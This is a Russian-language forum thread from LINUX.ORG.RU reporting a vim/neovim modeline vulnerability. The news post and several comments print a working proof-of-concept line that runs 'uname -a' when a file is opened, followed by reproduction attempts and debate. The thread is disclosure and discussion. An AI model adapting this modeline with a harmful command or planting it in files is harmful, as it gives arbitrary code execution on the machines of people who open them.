LINUX.ORG.RU

Уязвимость в vim

 ,


1

1

Опубликована уязвимость в текстовом редакторе vim, позволяющая исполнить произвольный код при открытии редактором текстового файла.

Вот текст файла выполняющего безобидный uname -a

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Исправление в виде добавленного вызова check_secure() уже доступно в репозиториях vim и neovim.

>>> Очень хорошее описание механизма уязвимости

★★

Проверено: Shaman007 ()
Последнее исправление: voronaam (всего исправлений: 1)

Никогда такого не было и вот опять.

anonymous
()

Хватит уже называть фичи уязвимостями!

Выполнение внешних команд (в т.ч. и с тем, чтобы получить от них результат) - это полезная функциональность.

saahriktu ★★★★★
()
Ответ на: комментарий от luntik2012

Там написано вим до 8.1.1365. Для сравнения в моём дистрибутиве вим 8.1.0648 и вим 8.1.1312 в тестовой ветке. Неовим только 0.3.4 и старее.

linuxnewbie
()
Ответ на: комментарий от saahriktu

Не всем нужна безопасность!

anonymous
()

Arch linux, сегодня ещё не обновлялся. Уязвимость работает. Debian Stretch, по идее, сам обновляется, наверное. Но там уязвимости нет.

turtle_bazon ★★★★★
()
Ответ на: комментарий от saahriktu

Всё же ты наверное это с горяча сказал, у меня вот исполняются команды при открытии определённого типа файла, либо файла с определённым типом башорга. А вот эта штука она на грани, ну давай пойдём с того конца что она неудобна, жутко! Легче открыть файл взять первую строку как триггер и если он описан в vimrc то исполнить его. А тут фигня какая то =)

LINUX-ORG-RU ★★★★★
()

в двух словах - кому капец, кого хороним?

buratino ★★★★★
()
Ответ на: комментарий от saahriktu

Выполнение внешних команд - это полезная функциональность.

Только когда эту команду даешь, а не когда это делается само по набору буковок в РЕДАКТИРУЕМОМ файле.

YAR ★★★★★
()

жесть. в топку. такими темпами скоро вовсе от компьютера придётся отказаться

none
()

Как страшно жить стало! Каждый день открываю ЛОР и боюсь узнать, что nano отправляет телеметрию в ЦРУ, а grep в ФСБ! А тут еще vim дырявый! Пора валить обратно на перфоленты.

Alve ★★★★★
()
Ответ на: комментарий от ekzotech

Чота не работает в макоси. Где получить результат выполнения?

нужно оформить в МФЦ выдачу результата, тогда ваш запрос поступит на обработку, и не раньше, чем через 3 месяца ожидайте ответ, вам на почту придёт уведомление, и можно прийти и забрать или заказать доставку

anonymous
()
Ответ на: комментарий от Alve

Как страшно жить стало! Каждый день открываю ЛОР и боюсь узнать, что nano отправляет телеметрию в ЦРУ, а grep в ФСБ! А тут еще vim дырявый! Пора валить обратно на перфоленты.

дак исходники то открыты! мы просто сейчас поняли, что их никто не смотрит. Интересно почему? Может мы чересчур уверены в безопасности линупса? Расслабились?

anonymous
()

Ну автовыполнение команд из произвольного файла — действительно шляпа. Для большинства случаев хватает .editor.rc, или как он там.

kirk_johnson ★☆
()

Ниработаит

~$ cat delme
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
~$ vi delme
~$ cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.6 LTS"
~$ readlink /etc/alternatives/vi
/usr/bin/vim.basic
~$ vi --version
VIM - Vi IMproved 7.4 (2013 Aug 10, compiled Nov 24 2016 16:44:48)
Included patches: 1-1689
Extra patches: 8.0.0056

vi –version

MrClon ★★★★★
()
Ответ на: комментарий от anonymous

дак исходники то открыты! мы просто сейчас поняли, что их никто не смотрит. Интересно почему?

Потому что мы тупые и не понимаем их, очевидно же. Программистов такого уровня, которые могут разбираться в исходниках ядра / вима / телеграма / хренограма уже давно релоцировали в гейропу.

Alve ★★★★★
()
Ответ на: комментарий от anonymous

дак исходники то открыты! мы просто сейчас поняли, что их никто не смотрит. Интересно почему?

Ты новость читал? Внезапно кто-то их посмотрел.

anonymous
()

Это, наверное, на случай, если так и не удалось выйти, а работать надо.

Korchevatel ★★★★★
()
Ответ на: комментарий от anonymous

Прочитал.

Vim behaves differently, depending on the name of the command ...

vim
ex
view
gvim gview
evim eview
rvim rview rgvim rgview

Которая из команд стартует vi?

otto ★★★
()
Ответ на: комментарий от imul

#! — шабанг, а не башорг.

Тогда уж – шебанг, а не шабанг :D

Но да чёт я эта, эмм, да. тумага буалетная,писло чисать,ток соматный и всё в таком духе ::)

LINUX-ORG-RU ★★★★★
()
Ответ на: комментарий от q0tw4

Но да чёт я эта, эмм, да. тумага буалетная,писло чисать,ток соматный и всё в таком духе ::)

LINUX-ORG-RU ★★★★★
()
Ответ на: комментарий от imul

Речь шла о том, что MrClon запускал $vi, что эквивалентно запуску $vim. В новости тоже говорится про vim.

Анонимус тебе уже объяснил, почему не работает в vi

Правда? В каком таком режиме MrClon запускал вим, что у него не работает?

otto ★★★
()
Ответ на: комментарий от otto

В каком таком режиме MrClon запускал вим, что у него не работает?

если тебе хочется понять, то открой vim и читай хелп. если нет проходи мимо.
у вима есличо 100500 режимов всяких.

mos ★★☆☆☆
()
Ответ на: комментарий от mos

если тебе хочется понять, то открой vim

Вечером попробую, сейчас онтопика под рукой нет. Что-то мне подсказывает, что результат будет в обоих случаях одинаковый.

otto ★★★
()
Ответ на: комментарий от saahriktu

Выполнение внешних команд при открытии файла без разрешения пользователя это уязвимость.

Legioner ★★★★★
()
Ответ на: комментарий от otto

Какую информацию это даст? Что кто-то по инструкции не смог воспроизвести уязвимость? Или что бубунта особенная, или что кто-то модлайны отключил и забыл?

[user1@osiris:~/data/vimtest]$ cat test.txt 
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

[user1@osiris:~/data/vimtest]$ vim test.txt 

Linux osiris 5.1.4 #1-NixOS SMP Wed May 22 05:39:58 UTC 2019 x86_64 GNU/Linux

Press ENTER or type command to continue

Трюк рабочий, код запускается, а потом уже запускается вим.

Kokonavtuz
()

в емакс такая же фигня есть
но перед выполнением команд емаксик спрашивает пользователя — выполнять или нет

Bad_ptr ★★★★★
()
Ответ на: комментарий от Kokonavtuz

А ты попробуй запустить $ vi test.txt , а то тут говорят, что так не сработает.

otto ★★★
()
Ответ на: комментарий от otto

Между запуском vi и vim есть разница, не помню какая. Релевантно ли тут - тоже не знаю, но раз не сработало на vi, то логично проверить vim.

anonymous
()
Ответ на: комментарий от otto

Речь шла о том, что MrClon запускал $vi, что эквивалентно запуску $vim. В новости тоже говорится про vim.

Да у него уже пропатчено.
А vim когда запускается через vi то и работает как vi, а не как vim. /bin/sh тоже указывает на bash, но попробуй юзеру поставить шеллами sh и bash и увидишь разницу. Или в скрипте с башизмами поставь #!/bin/sh. Хотя это уже к делу не относится.

imul ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.